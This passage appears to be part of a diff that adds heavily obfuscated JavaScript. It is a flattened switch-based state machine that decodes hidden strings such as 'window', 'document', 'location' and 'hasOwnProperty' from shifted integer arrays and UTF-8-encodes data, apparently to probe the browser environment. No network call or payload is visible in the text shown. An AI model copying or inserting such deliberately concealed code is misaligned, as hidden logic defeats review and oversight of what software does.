_$Br[_$nc](_$pc); + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$En; + _$nc = _$LC; + _$fc = _$Yn; + _$oc = 255; + _$lc = _$fc & _$oc; + _$Br[_$nc](_$lc) + } + } + } + } + _$Br = _$En; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$Un = _$fc; + _$Br = _$Un; + _$nc = 2; + _$fc = _$Br / _$nc; + _$Un = _$fc; + _$Br = []; + _$_n = _$Br; + _$Br = 0; + _$On = _$Br; + for (_$Ln = 0; _$Ln < _$Un; _$Ln++) { + _$Br = _$En; + _$nc = _$On; + _$fc = _$Br[_$nc]; + _$Nn = _$fc; + _$Br = _$En; + _$nc = _$On; + _$fc = 1; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$Zn = _$lc; + _$Br = _$On; + _$nc = 2; + _$fc = _$Br + _$nc; + _$On = _$fc; + _$Br = _$Nn; + _$nc = 46; + _$fc = _$Br - _$nc; + _$Nn = _$fc; + _$Br = _$Zn; + _$nc = 46; + _$fc = _$Br - _$nc; + _$Zn = _$fc; + _$Br = _$Zn; + _$nc = 19; + _$fc = _$Br * _$nc; + _$oc = _$Nn; + _$lc = _$fc + _$oc; + _$Gn = _$lc; + _$Br = _$Gn; + _$nc = 11; + _$fc = _$Br ^ _$nc; + _$Pn = _$fc; + _$Br = _$_n; + _$nc = _$Ln; + _$fc = _$Pn; + _$Br[_$nc] = _$fc + } + _$Br = _$BC; + _$Vn = _$Br; + for (_$Xn = 0; _$Xn < _$_n.length; _$Xn++) { + _$Br = _$_n; + _$nc = _$Xn; + _$fc = _$Br[_$nc]; + _$oc = _$_r + _$Rr; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$qn = _$hc; + _$Br = _$qn; + _$nc = _$LS; + _$fc = /^1+?(?=0)/; + _$oc = _$Br[_$nc](_$fc); + _$Hn = _$oc; + _$Br = _$Hn; + _$nc = _$Br; + if (_$nc) { + _$kc = _$qn; + _$bc = _$PC; + _$Tc = _$kc[_$bc]; + _$jc = 8; + _$nc = _$Tc === _$jc + } + if (_$nc) { + _$Br = _$Hn; + _$nc = 0; + _$fc = _$Br[_$nc]; + _$oc = _$PC; + _$lc = _$fc[_$oc]; + _$xn = _$lc; + _$Br = _$_n; + _$nc = _$Xn; + _$fc = _$Br[_$nc]; + _$oc = _$_r + _$Rr; + _$lc = 2; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$_S; + _$uc = 7; + _$pc = _$xn; + _$Cc = _$uc - _$pc; + _$Dc = _$hc[_$gc](_$Cc); + _$Bn = _$Dc; + for (_$Fn = 0; _$Fn < _$xn; _$Fn++) { + _$Br = _$_n; + _$nc = _$Fn; + _$fc = _$Xn; + _$oc = _$nc + _$fc; + _$lc = _$Br[_$oc]; + _$hc = _$_r + _$Rr; + _$gc = 2; + _$uc = _$lc[_$hc](_$gc); + _$pc = _$_S; + _$Cc = 2; + _$Dc = _$uc[_$pc](_$Cc); + _$Bn += _$Dc + } + _$Br = _$Bn; + _$nc = 2; + _$fc = parseInt(_$Br, _$nc); + _$oc = _$bW(_$fc); + _$Vn += _$oc; + _$Br = _$xn; + _$nc = 1; + _$fc = _$Br - _$nc; + _$Xn += _$fc + } else { + _$Br = _$_n; + _$nc = _$Xn; + _$fc = _$Br[_$nc]; + _$oc = _$bW(_$fc); + _$Vn += _$oc + } + } + _$Br = _$Nc; + _$nc = _$Zc; + _$fc = _$Vn; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$Kn; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr -= 77; + break; + case 139: + _$Jn = _$BC; + _$Xr -= 107; + break; + case 140: + for (_$$n = 0; _$$n < _$eo.length; _$$n++) { + _$Br = _$io; + _$nc = _$eo; + _$fc = _$$n; + _$oc = _$nc[_$fc]; + _$lc = 4; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$io = _$uc + } + _$Xr += 118; + break; + case 141: + _$es = [655360, 598016]; + _$Xr += 109; + break; + case 142: + _$af = _$BC; + _$Xr -= 82; + break; + case 143: + _$Mv = _$Mv.p(_$dv); + _$Xr -= 105; + break; + case 144: + _$ef = _$yS; + _$rf = 1; + _$Xr += 161; + break; + case 145: + for (_$cf = 1; _$cf < _$ak.length; _$cf++) { + _$Br = _$ak; + _$nc = _$OC; + _$fc = _$cf; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$ek; + _$hc = _$OC; + _$gc = _$cf; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$ek += _$nv + } + _$Xr -= 41; + break; + case 146: + _$vf = _$BC; + _$Xr += 17; + break; + case 147: + _$sf = []; + _$Xr += 17; + break; + case 148: + for (_$nf = 0, + _$ff = _$Qc.length; _$nf < _$ff; _$nf++) { + _$Br = _$At; + _$nc = _$LC; + _$fc = _$Qc; + _$oc = _$OC; + _$lc = _$nf; + _$hc = _$fc[_$oc](_$lc); + _$Br[_$nc](_$hc) + } + _$Xr -= 114; + break; + case 149: + _$tf = _$ek; + _$Xr += 154; + break; + case 150: + if (_$kf[6] - _$kf[5] > 0) { + _$Br = _$bf; + _$nc = _$kf; + _$fc = 3; + _$oc = _$nc[_$fc]; + _$lc = _$Br + _$oc; + _$bf = _$lc; + _$Br = _$bf; + _$nc = _$kf; + _$fc = 2; + _$oc = _$nc[_$fc]; + _$lc = _$Br + _$oc; + _$hc = _$kf; + _$gc = 5; + _$uc = _$hc[_$gc]; + _$pc = _$lc - _$uc; + _$bf = _$pc + } else { + _$Br = _$bf; + _$nc = _$kf; + _$fc = 6; + _$oc = _$nc[_$fc]; + _$lc = _$Br * _$oc; + _$bf = _$lc; + _$Br = _$bf; + _$nc = _$kf; + _$fc = 2; + _$oc = _$nc[_$fc]; + _$lc = _$Br - _$oc; + _$bf = _$lc + } + _$Xr += 49; + break; + case 151: + _$if = _$pS; + _$of = 1; + _$Xr -= 49; + break; + case 152: + _$TW = _$Ib; + _$Xr -= 31; + break; + case 153: + _$kf = []; + _$lf = _$uS; + _$hf = 1; + _$Xr += 73; + break; + case 154: + _$Ev = _$Ev.p(_$zv); + _$Xr -= 146; + break; + case 155: + for (_$gf = 0, + _$uf = _$kt.length; _$gf < _$uf; ++_$gf) { + _$Br = _$gS; + _$pf = _$Br; + _$nc = 1; + _$yf = _$nc; + _$Br = _$yf; + _$nc = 1; + _$fc = _$Br + _$nc; + _$yf = _$fc; + _$Br = 1; + _$pf = _$Br; + _$Br = _$BC; + _$wf = _$Br; + _$Br = _$yf; + _$pf = _$Br; + _$Br = 425984; + _$nc = 397312; + _$fc = 471040; + _$oc = 323584; + _$lc = 487424; + _$hc = 450560; + _$gc = 327680; + _$uc = 466944; + _$pc = 454656; + _$Cc = 458752; + _$Dc = 413696; + _$nv = 466944; + _$fv = 475136; + _$tv = 495616; + _$iv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv]; + _$yf = _$iv; + for (_$df = 0; _$df < _$yf.length; _$df++) { + _$Br = _$wf; + _$nc = _$yf; + _$fc = _$df; + _$oc = _$nc[_$fc]; + _$lc = 12; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$wf = _$uc + } + _$Br = _$yf; + _$nc = _$LC; + _$fc = _$pf; + _$oc = _$Br[_$nc](_$fc); + _$yf = _$oc; + _$Br = _$$s; + _$nc = _$wf; + _$fc = _$kt; + _$oc = _$_C; + _$lc = _$gf; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$Br[_$nc](_$hc); + if (_$gc) { + _$Br = _$$s; + _$nc = _$kt; + _$fc = _$_C; + _$oc = _$gf; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Br[_$lc]; + _$bt += _$hc + } else { + _$Br = _$kt; + _$nc = _$_C; + _$fc = _$gf; + _$oc = _$Br[_$nc](_$fc); + _$bt += _$oc + } + } + _$Xr -= 152; + break; + case 156: + _$wb = _$wb + 1; + _$Xr += 112; + break; + case 157: + for (_$Mf = 0, + _$If = _$co.length; _$Mf < _$If; _$Mf++) { + _$Br = _$Ab; + _$nc = _$LC; + _$fc = _$co; + _$oc = _$OC; + _$lc = _$Mf; + _$hc = _$fc[_$oc](_$lc); + _$Br[_$nc](_$hc) + } + _$Xr += 39; + break; + case 158: + _$Af = _$Wk; + _$Xr -= 44; + break; + case 159: + _$Sf = _$rn; + _$mf = _$hS; + _$Tf = 1; + _$Xr += 48; + break; + case 160: + if (_$Mi) { + _$Br = _$lS; + _$jf = _$Br; + _$nc = 1; + _$Cf = _$nc; + _$Br = _$Cf; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Cf = _$fc; + _$Br = 1; + _$jf = _$Br; + _$Br = _$BC; + _$Df = _$Br; + _$Br = _$Cf; + _$jf = _$Br; + _$Br = 464; + _$nc = 444; + _$fc = 448; + _$oc = [_$Br, _$nc, _$fc]; + _$Cf = _$oc; + for (_$Kf = 0; _$Kf < _$Cf.length; _$Kf++) { + _$Br = _$Df; + _$nc = _$Cf; + _$fc = _$Kf; + _$oc = _$nc[_$fc]; + _$lc = 2; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Df = _$uc + } + _$Br = _$Cf; + _$nc = _$LC; + _$fc = _$jf; + _$oc = _$Br[_$nc](_$fc); + _$Cf = _$oc; + _$Br = _$Nc; + _$nc = _$Df; + _$fc = _$Br[_$nc]; + _$Nc = _$fc + } + _$Xr -= 68; + break; + case 161: + _$wW = []; + _$Xr -= 63; + break; + case 162: + for (_$Qf = 1; _$Qf < _$bs.length; _$Qf++) { + _$Br = _$bs; + _$nc = _$OC; + _$fc = _$Qf; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$Wc; + _$hc = _$OC; + _$gc = _$Qf; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$Wc += _$nv + } + _$Xr += 4; + break; + case 163: + _$lf = _$hf; + _$Xr += 26; + break; + case 164: + for (_$Wf = 0, + _$Yf = _$wt.length; _$Wf < _$Yf; _$Wf++) { + _$Br = _$sf; + _$nc = _$LC; + _$fc = _$wt; + _$oc = _$OC; + _$lc = _$Wf; + _$hc = _$fc[_$oc](_$lc); + _$Br[_$nc](_$hc) + } + _$Xr += 47; + break; + case 165: + _$Uf = _$bS; + _$Of = 1; + _$Xr += 48; + break; + case 166: + if (_$CW[_$Wc]) { + _$Br = _$kS; + _$Pf = _$Br; + _$nc = 1; + _$Gf = _$nc; + _$Br = _$Gf; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Gf = _$fc; + _$Br = 1; + _$Pf = _$Br; + _$Br = _$BC; + _$Nf = _$Br; + _$Br = _$Gf; + _$Pf = _$Br; + _$Br = 41984; + _$nc = 51712; + _$fc = 52736; + _$oc = 35328; + _$lc = 61440; + _$hc = 57344; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$Gf = _$gc; + for (_$Zf = 0; _$Zf < _$Gf.length; _$Zf++) { + _$Br = _$Nf; + _$nc = _$Gf; + _$fc = _$Zf; + _$oc = _$nc[_$fc]; + _$lc = 9; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Nf = _$uc + } + _$Br = _$Gf; + _$nc = _$LC; + _$fc = _$Pf; + _$oc = _$Br[_$nc](_$fc); + _$Gf = _$oc; + _$Br = _$CW; + _$nc = _$Nf; + _$fc = _$Br[_$nc]; + _$ks = _$fc + } + _$Xr -= 141; + break; + case 167: + _$dv = 1; + _$Xr += 49; + break; + case 168: + _$bf = _$bf / _$kf[4]; + _$Xr += 63; + break; + case 169: + _$gn = _$gn.p(_$hn); + _$Xr += 114; + break; + case 170: + _$eo = [1856, 1776, 1328, 1856, 1824, 1680, 1760, 1648]; + _$Xr -= 30; + break; + case 171: + _$zf = _$BC; + _$Xr += 31; + break; + case 172: + for (_$Ws = 0, + _$Ys = _$Cv.length; _$Ws < _$Ys; ++_$Ws) { + _$Br = _$Mr + _$wr + _$yr + _$dr; + _$Ef = _$Br; + _$nc = _$Ef; + _$fc = _$OC; + _$oc = 0; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Ef; + _$gc = _$PC; + _$uc = _$hc[_$gc]; + _$pc = _$lc - _$uc; + _$Cc = _$bW(_$pc); + _$Rf = _$Cc; + for (_$_f = 1; _$_f < _$Ef.length; _$_f++) { + _$Br = _$Ef; + _$nc = _$OC; + _$fc = _$_f; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$Rf; + _$hc = _$OC; + _$gc = _$_f; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$Rf += _$nv + } + _$Br = _$yt; + _$nc = _$Rf; + _$fc = _$Cv; + _$oc = _$_C; + _$lc = _$Ws; + _$hc = _$fc[_$oc](_$lc); + _$gc = _$Br[_$nc](_$hc); + if (_$gc) { + _$Br = _$yt; + _$nc = _$Cv; + _$fc = _$_C; + _$oc = _$Ws; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Br[_$lc]; + _$wt += _$hc + } else { + _$Br = _$Cv; + _$nc = _$_C; + _$fc = _$Ws; + _$oc = _$Br[_$nc](_$fc); + _$wt += _$oc + } + } + _$Xr -= 25; + break; + case 173: + if (_$Mi && _$Nc) { + _$Br = _$oS; + _$Lf = _$Br; + _$nc = 1; + _$Vf = _$nc; + _$Br = _$Vf; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Vf = _$fc; + _$Br = 1; + _$Lf = _$Br; + _$Br = _$BC; + _$qf = _$Br; + _$Br = _$Vf; + _$Lf = _$Br; + _$Br = 3808; + _$nc = 3360; + _$fc = 3520; + _$oc = 3200; + _$lc = 3552; + _$hc = 3808; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$Vf = _$gc; + for (_$Hf = 0; _$Hf < _$Vf.length; _$Hf++) { + _$Br = _$qf; + _$nc = _$Vf; + _$fc = _$Hf; + _$oc = _$nc[_$fc]; + _$lc = 5; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$qf = _$uc + } + _$Br = _$Vf; + _$nc = _$LC; + _$fc = _$Lf; + _$oc = _$Br[_$nc](_$fc); + _$Vf = _$oc; + _$Br = _$iS; + _$xf = _$Br; + _$nc = 1; + _$Bf = _$nc; + _$Br = _$Bf; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Bf = _$fc; + _$Br = 1; + _$xf = _$Br; + _$Br = _$BC; + _$Xf = _$Br; + _$Br = _$Bf; + _$xf = _$Br; + _$Br = 974848; + _$nc = 860160; + _$fc = 901120; + _$oc = 819200; + _$lc = 909312; + _$hc = 974848; + _$gc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc]; + _$Bf = _$gc; + for (_$Ff = 0; _$Ff < _$Bf.length; _$Ff++) { + _$Br = _$Xf; + _$nc = _$Bf; + _$fc = _$Ff; + _$oc = _$nc[_$fc]; + _$lc = 13; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Xf = _$uc + } + _$Br = _$Bf; + _$nc = _$LC; + _$fc = _$xf; + _$oc = _$Br[_$nc](_$fc); + _$Bf = _$oc; + _$Br = _$Nc; + _$nc = _$Zc; + _$fc = _$Xf; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$qf; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr += 87; + break; + case 174: + _$Zt = _$zt; + _$Xr += 35; + break; + case 175: + _$gs = _$us; + _$Xr += 12; + break; + case 176: + _$Jf = _$Xo.j(_$BC); + _$$f = {}; + _$Xr -= 73; + break; + case 177: + for (_$at = 0; _$at < _$Of.length; _$at++) { + _$Br = _$zf; + _$nc = _$Of; + _$fc = _$at; + _$oc = _$nc[_$fc]; + _$lc = 11; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$zf = _$uc + } + _$Xr += 118; + break; + case 178: + _$es = _$es.p(_$as); + _$Xr += 20; + break; + case 179: + _$rt = _$rt + 1; + _$Xr -= 47; + break; + case 180: + _$vo = _$so; + _$Xr -= 64; + break; + case 181: + _$us = _$us + 1; + _$Xr -= 133; + break; + case 182: + _$of = [1998848, 3801088, 3407872, 3440640, 3768320, 1933312]; + _$Xr += 111; + break; + case 183: + _$et = _$tS; + _$rt = 1; + _$Xr -= 4; + break; + case 184: + _$tt = [53760, 56320, 51200, 51712, 61440, 40448, 52224]; + _$Xr -= 53; + break; + case 185: + _$us = _$us.p(_$gs); + _$Xr += 39; + break; + case 186: + _$if = 1; + _$Xr += 39; + break; + case 187: + _$us = [888, 784, 848, 808, 792, 928]; + _$Xr -= 123; + break; + case 188: + _$Ps = 1597463174 - (_$Ps >> 1); + _$Xr -= 83; + break; + case 189: + _$hf = [200, 222, 198, 234, 218, 202, 220, 232]; + _$Xr += 6; + break; + case 190: + _$ct = _$ht; + _$vt = {}; + _$st = _$ur + _$cr + _$pr + _$fr + _$kr + _$lr + _$nr + _$hr + _$rr + _$ar + _$gr + _$sr + _$tr + _$$e + _$ir + _$vr + _$er + _$or + _$br; + _$Xr -= 40; + break; + case 191: + _$tY = _$RW; + _$Xr -= 36; + break; + case 192: + _$ao = 1; + _$Xr += 57; + break; + case 193: + _$no = 1; + _$Xr += 17; + break; + case 194: + _$nt = _$rU[_$io](); + _$ft = _$fS; + _$tt = 1; + _$Xr += 67; + break; + case 195: + for (_$it = 0; _$it < _$hf.length; _$it++) { + _$Br = _$vf; + _$nc = _$hf; + _$fc = _$it; + _$oc = _$nc[_$fc]; + _$lc = 1; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$vf = _$uc + } + _$Xr += 11; + break; + case 196: + _$bf = _$bf - _$kf[2]; + _$Xr += 91; + break; + case 197: + _$ot = _$kf[0]; + _$Xr -= 114; + break; + case 198: + _$kt = _$Iv[_$af][_$mi] + _$BC; + _$bt = _$BC; + _$lt = _$Ke + _$Pe + _$Re + _$Te + _$Ce + _$Be + _$Ae + _$Se + _$Ie + _$qe + _$ge + _$Xe + _$Qe + _$Ve + _$Ue + _$ze + _$Ee + _$le + _$Ye + _$me + _$_e + _$Me + _$Oe + _$Ze + _$De + _$de + _$Ne + _$We + _$Le + _$ye + _$He + _$ue + _$Ge + _$he + _$Fe + _$je + _$xe + _$we + _$pe + _$Je; + _$ht = _$bW(_$lt.d(0) - _$lt.length); + _$Xr -= 80; + break; + case 199: + _$gt = _$bW(_$st.d(0) - _$st.length); + _$Xr -= 80; + break; + case 200: + _$zt = _$zt.p(_$Zt); + _$Xr -= 41; + break; + case 201: + _$LY.p(_$tY.length); + _$Xr += 81; + break; + case 202: + _$Uf = _$Of; + _$Xr += 2; + break; + case 203: + _$ut = _$BC; + _$Xr -= 152; + break; + case 204: + _$Of = [65536, 157696, 67584, 186368, 69632, 86016, 71680, 176128, 73728, 104448, 75776, 256e3, 77824, 110592, 79872, 221184, 81920, 169984, 83968, 147456, 258048, 139264, 86016, 237568, 88064, 131072, 90112, 251904, 92160, 98304, 94208, 217088, 96256, 149504, 98304, 155648, 100352, 81920, 102400, 143360, 104448, 94208, 106496, 215040, 108544, 75776, 110592, 108544, 112640, 145408, 114688, 71680, 116736, 112640, 118784, 135168, 120832, 219136, 122880, 194560, 124928, 79872, 126976, 258048, 129024, 118784, 131072, 241664, 133120, 196608, 135168, 174080, 137216, 235520, 139264, 249856, 141312, 223232, 143360, 210944, 145408, 190464, 147456, 137216, 149504, 231424, 151552, 126976, 153600, 212992, 155648, 204800, 157696, 184320, 159744, 69632, 161792, 90112, 163840, 245760, 165888, 114688, 167936, 182272, 169984, 100352, 172032, 122880, 174080, 92160, 176128, 106496, 178176, 96256, 180224, 206848, 182272, 192512, 184320, 120832, 186368, 178176, 188416, 188416, 190464, 88064, 192512, 167936, 194560, 73728, 196608, 243712, 198656, 163840, 200704, 253952, 202752, 239616, 204800, 133120, 206848, 180224, 208896, 172032, 210944, 227328, 212992, 151552, 215040, 124928, 217088, 102400, 219136, 153600, 221184, 67584, 223232, 129024, 225280, 229376, 227328, 65536, 229376, 83968, 231424, 225280, 233472, 161792, 235520, 202752, 237568, 77824, 239616, 200704, 241664, 116736, 243712, 208896, 245760, 198656, 247808, 165888, 249856, 141312, 251904, 233472, 253952, 159744, 256e3, 247808]; + _$Xr -= 27; + break; + case 205: + _$pt = _$BC; + _$Xr -= 30; + break; + case 206: + _$hf = _$hf.p(_$lf); + _$Xr -= 23; + break; + case 207: + _$Tf = _$Tf + 1; + _$Xr -= 10; + break; + case 208: + _$yt = _$$o; + _$wt = _$BC; + _$Xr -= 36; + break; + case 209: + _$zt = [24832, 14080, 14336, 13824, 13312, 13824, 24832, 24832, 12288, 25344, 12800, 26112, 13568, 12800, 13824, 25856]; + _$Xr -= 163; + break; + case 210: + _$dt = _$BC; + _$Xr += 30; + break; + case 211: + _$aY = _$sf; + _$Xr -= 144; + break; + case 212: + _$Mt = _$Vv; + _$Xr -= 132; + break; + case 213: + _$Of = _$Of + 1; + _$Xr -= 119; + break; + case 214: + _$ao = _$eo; + _$Xr -= 44; + break; + case 215: + _$Rc = _$Rc + 1; + _$Xr -= 193; + break; + case 216: + _$It = _$BC; + _$Xr -= 140; + break; + case 217: + _$At = []; + _$Xr -= 69; + break; + case 218: + _$bf = _$bf - _$kf[6]; + _$Xr -= 212; + break; + case 219: + _$gn = _$gn + 1; + _$Xr -= 97; + break; + case 220: + if (_$Mi && _$Nc) { + _$Br = _$nS; + _$St = _$Br; + _$nc = 1; + _$mt = _$nc; + _$Br = _$mt; + _$nc = 1; + _$fc = _$Br + _$nc; + _$mt = _$fc; + _$Br = 1; + _$St = _$Br; + _$Br = _$BC; + _$Tt = _$Br; + _$Br = _$mt; + _$St = _$Br; + _$Br = 221184; + _$nc = 227328; + _$fc = 202752; + _$oc = 198656; + _$lc = 237568; + _$hc = 215040; + _$gc = 227328; + _$uc = 225280; + _$pc = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc]; + _$mt = _$pc; + for (_$jt = 0; _$jt < _$mt.length; _$jt++) { + _$Br = _$Tt; + _$nc = _$mt; + _$fc = _$jt; + _$oc = _$nc[_$fc]; + _$lc = 11; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Tt = _$uc + } + _$Br = _$mt; + _$nc = _$LC; + _$fc = _$St; + _$oc = _$Br[_$nc](_$fc); + _$mt = _$oc; + _$Br = _$ke + _$be; + _$Ct = _$Br; + _$nc = _$Ct; + _$fc = _$OC; + _$oc = 0; + _$lc = _$nc[_$fc](_$oc); + _$hc = _$Ct; + _$gc = _$PC; + _$uc = _$hc[_$gc]; + _$pc = _$lc - _$uc; + _$Cc = _$bW(_$pc); + _$Dt = _$Cc; + for (_$Kt = 1; _$Kt < _$Ct.length; _$Kt++) { + _$Br = _$Ct; + _$nc = _$OC; + _$fc = _$Kt; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$Dt; + _$hc = _$OC; + _$gc = _$Kt; + _$uc = 1; + _$pc = _$gc - _$uc; + _$Cc = _$lc[_$hc](_$pc); + _$Dc = _$oc - _$Cc; + _$nv = _$bW(_$Dc); + _$Dt += _$nv + } + _$Br = _$sS; + _$Qt = _$Br; + _$nc = 1; + _$Wt = _$nc; + _$Br = _$Wt; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Wt = _$fc; + _$Br = 1; + _$Qt = _$Br; + _$Br = _$BC; + _$Yt = _$Br; + _$Br = _$Wt; + _$Qt = _$Br; + _$Br = 26624; + _$nc = 24832; + _$fc = 29440; + _$oc = 20224; + _$lc = 30464; + _$hc = 28160; + _$gc = 20480; + _$uc = 29184; + _$pc = 28416; + _$Cc = 28672; + _$Dc = 25856; + _$nv = 29184; + _$fv = 29696; + _$tv = 30976; + _$iv = [_$Br, _$nc, _$fc, _$oc, _$lc, _$hc, _$gc, _$uc, _$pc, _$Cc, _$Dc, _$nv, _$fv, _$tv]; + _$Wt = _$iv; + for (_$Ut = 0; _$Ut < _$Wt.length; _$Ut++) { + _$Br = _$Yt; + _$nc = _$Wt; + _$fc = _$Ut; + _$oc = _$nc[_$fc]; + _$lc = 8; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$Yt = _$uc + } + _$Br = _$Wt; + _$nc = _$LC; + _$fc = _$Qt; + _$oc = _$Br[_$nc](_$fc); + _$Wt = _$oc; + _$Br = _$Nc; + _$nc = _$Yt; + _$fc = _$Tt; + _$oc = _$Br[_$nc](_$fc); + _$lc = _$oc; + if (!_$lc) { + _$kc = _$Nc; + _$bc = _$Dt; + _$lc = _$kc[_$bc] + } + _$Mi = _$lc + } + _$Xr -= 111; + break; + case 221: + _$as = _$es; + _$Xr -= 80; + break; + case 222: + _$Ot = _$fs[_$Js]; + _$Pt = [4, 4, 7, 3]; + _$Gt = 1; + _$Nt = [_$Pt[0]]; + _$Zt = _$vS; + _$zt = 1; + _$Xr += 43; + break; + case 223: + if (_$Mi && _$Nc) { + _$Br = _$cS; + _$Et = _$Br; + _$nc = 1; + _$Rt = _$nc; + _$Br = _$Rt; + _$nc = 1; + _$fc = _$Br + _$nc; + _$Rt = _$fc; + _$Br = 1; + _$Et = _$Br; + _$Br = _$BC; + _$_t = _$Br; + _$Br = _$Rt; + _$Et = _$Br; + _$Br = 29696; + _$nc = 28416; + _$fc = 28672; + _$oc = [_$Br, _$nc, _$fc]; + _$Rt = _$oc; + for (_$Lt = 0; _$Lt < _$Rt.length; _$Lt++) { + _$Br = _$_t; + _$nc = _$Rt; + _$fc = _$Lt; + _$oc = _$nc[_$fc]; + _$lc = 8; + _$hc = _$oc >> _$lc; + _$gc = _$bW(_$hc); + _$uc = _$Br + _$gc; + _$_t = _$uc + } + _$Br = _$Rt; + _$nc = _$LC; + _$fc = _$Et; + _$oc = _$Br[_$nc](_$fc); + _$Rt = _$oc; + _$Br = _$ne + _$ie + _$fe + _$te + _$se + _$oe; + _$$t = _$Br; + _$Br = _$$t; + _$nc = _$PC; + _$fc = _$Br[_$nc]; + _$Vt = _$fc; + _$Br = []; + _$ai = _$Br; + for (_$ei = 0; _$ei < _$Vt; _$ei++) { + _$Br = _$$t; + _$nc = _$OC; + _$fc = _$ei; + _$oc = _$Br[_$nc](_$fc); + _$qt = _$oc; + _$Br = _$qt; + _$nc = 65536; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$qt; + _$bc = 1114111; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 18; + _$lc = _$fc >> _$oc; + _$hc = 7; + _$gc = _$lc & _$hc; + _$uc = 240; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$qt; + _$nc = 2048; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$qt; + _$bc = 65535; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 12; + _$lc = _$fc >> _$oc; + _$hc = 15; + _$gc = _$lc & _$hc; + _$uc = 224; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 63; + _$gc = _$lc & _$hc; + _$uc = 128; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 63; + _$lc = _$fc & _$oc; + _$hc = 128; + _$gc = _$lc | _$hc; + _$Br[_$nc](_$gc) + } else { + _$Br = _$qt; + _$nc = 128; + _$fc = _$Br >= _$nc; + _$oc = _$fc; + if (_$oc) { + _$kc = _$qt; + _$bc = 2047; + _$oc = _$kc <= _$bc + } + if (_$oc) { + _$Br = _$ai; + _$nc = _$LC; + _$fc = _$qt; + _$oc = 6; + _$lc = _$fc >> _$oc; + _$hc = 31; + _$gc = _$lc & _$hc; + _$uc = 192; + _$pc = _$gc | _$uc; + _$Br[_$nc](_$pc); + _$Br = _$ai; + _$nc = 